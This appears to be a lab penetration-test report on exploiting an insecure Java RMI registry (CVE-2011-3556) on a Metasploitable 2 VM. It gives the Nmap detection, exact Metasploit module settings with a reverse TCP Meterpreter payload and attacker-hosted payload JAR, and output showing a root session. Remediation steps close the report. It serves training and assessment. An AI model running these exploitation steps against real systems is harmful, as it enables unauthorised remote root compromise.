

Finding-07

Java RMI Server Insecure Default Configuration

Remote Code Execution

Metasploitable 2 — Evidence-Based Exploitation Report

Target	192.168.116.129
Port	1099/TCP
Service	Java RMI / GNU Classpath grmiregistry
Vulnerability	Insecure default RMI configuration allowing remote class loading / RCE
Severity	Critical
CVE	CVE-2011-3556
Metasploit Module	exploit/multi/misc/java_rmi_server
Payload	java/meterpreter/reverse_tcp
Result	Successful Meterpreter session with root privileges

Executive Summary

TCP/1099 exposed a Java RMI registry running GNU Classpath grmiregistry. Nmap's **rmi-vuln-classloader** check explicitly returned **State: VULNERABLE** and reported that the default RMI configuration permits loading classes from remote URLs, which can lead to remote code execution. The Metasploit module **exploit/multi/misc/java_rmi_server** was successfully used with a Java Meterpreter reverse TCP payload. Meterpreter session 6 opened and **getuid** confirmed **Server username: root**.

1. Discovery

Nmap identified port 1099 as an open Java RMI service. The NSE vulnerability check detected an insecure RMI registry configuration capable of remote class loading and potential code execution.

Evidence 1 — Nmap vulnerability detection

```
(root@kali)-[~]
└─$ nmap -sV -p1099 --script rmi-vuln-classloader 192.168.116.129
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-04 03:23 EEST
Nmap scan report for 192.168.116.129
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
|_ rmi-vuln-classloader:
|_   VULNERABLE:
|_     RMI registry default configuration remote code execution vulnerability
|_     State: VULNERABLE
|_     Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|_
|_ References:
|_   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 00:0C:29:28:09:12 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds
```

2. Vulnerability Identification

Metasploit identified **exploit/multi/misc/java_rmi_server**, described as Java RMI Server Insecure Default Configuration Java Code Execution. Rapid7 documents this module under **CVE-2011-3556** and lists its ranking as Excellent.

Evidence 2 — Metasploit module identification

```
msf6 > search java_rmi_server
```

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
1	exploit/multi/misc/java_rmi_server				

3. Exploitation

The lab exploitation was configured as follows:

```
use exploit/multi/misc/java_rmi_server
set PAYLOAD payload/java/meterpreter/reverse_tcp
set LHOST 192.168.116.128
set RHOSTS 192.168.116.129
run
```

The exploit successfully returned Meterpreter session 6, demonstrating remote code execution against the RMI service.

Evidence 3 — Successful exploitation and Meterpreter session

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD payload/java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.116.129
RHOSTS => 192.168.116.129
msf6 exploit(multi/misc/java_rmi_server) > run
* Started reverse TCP handler on 192.168.116.128:4444
* 192.168.116.129:1099 - Using URL: http://192.168.116.128:8080/ekYjrYGO
* 192.168.116.129:1099 - Server started.
* 192.168.116.129:1099 - Sending RMI Header ...
* 192.168.116.129:1099 - Sending RMI Call ...
* 192.168.116.129:1099 - Replied to request for payload JAR
* Sending stage (58073 bytes) to 192.168.116.129
* Meterpreter session 6 opened (192.168.116.128:4444 -> 192.168.116.129:43365) at 2026-09-04 03:26:59 +0300

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter >
```

4. Privilege Verification

The Meterpreter session was queried with **getuid**. The target returned **Server username: root**, confirming root-level execution.

Evidence 4 — Root privilege verification

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD payload/java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.116.128
LHOST => 192.168.116.128
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.116.129
RHOSTS => 192.168.116.129
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.116.128:4444
[*] 192.168.116.129:1099 - Using URL: http://192.168.116.128:8080/ekYjrYGO
[*] 192.168.116.129:1099 - Server started.
[*] 192.168.116.129:1099 - Sending RMI Header ...
[*] 192.168.116.129:1099 - Sending RMI Call ...
[*] 192.168.116.129:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.116.129
[*] Meterpreter session 6 opened (192.168.116.128:4444 -> 192.168.116.129:43365) at 2026-09-04 03:26:59 +0300

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > getuid
Server username: root
meterpreter >
```

5. Impact

Successful exploitation provides remote code execution through the exposed RMI service. In this lab, the resulting Meterpreter session ran as root, allowing full control of the target operating system, including access to files, system configuration, application data, and the ability to establish persistence or use the host for further lateral movement.

6. Remediation

- Disable the RMI registry/service if it is not required.
- Upgrade or replace unsupported Java/RMI components with supported patched versions.
- Disable remote class loading from untrusted URLs.
- Restrict TCP/1099 and related RMI ports to trusted networks using firewall controls.
- Require authentication and appropriate access controls where supported.
- If compromise occurred on a real system, investigate for persistence and rotate affected secrets.

7. References

- Rapid7 — Metasploit module: exploit/multi/misc/java_rmi_server
- CVE-2011-3556
- Nmap NSE: rmi-vuln-classloader
- Lab evidence: Metasploitable 2 — 192.168.116.129

Conclusion: Finding-07 is confirmed by vulnerability detection and successful exploitation. The assessment obtained a root Meterpreter session from the exposed Java RMI service.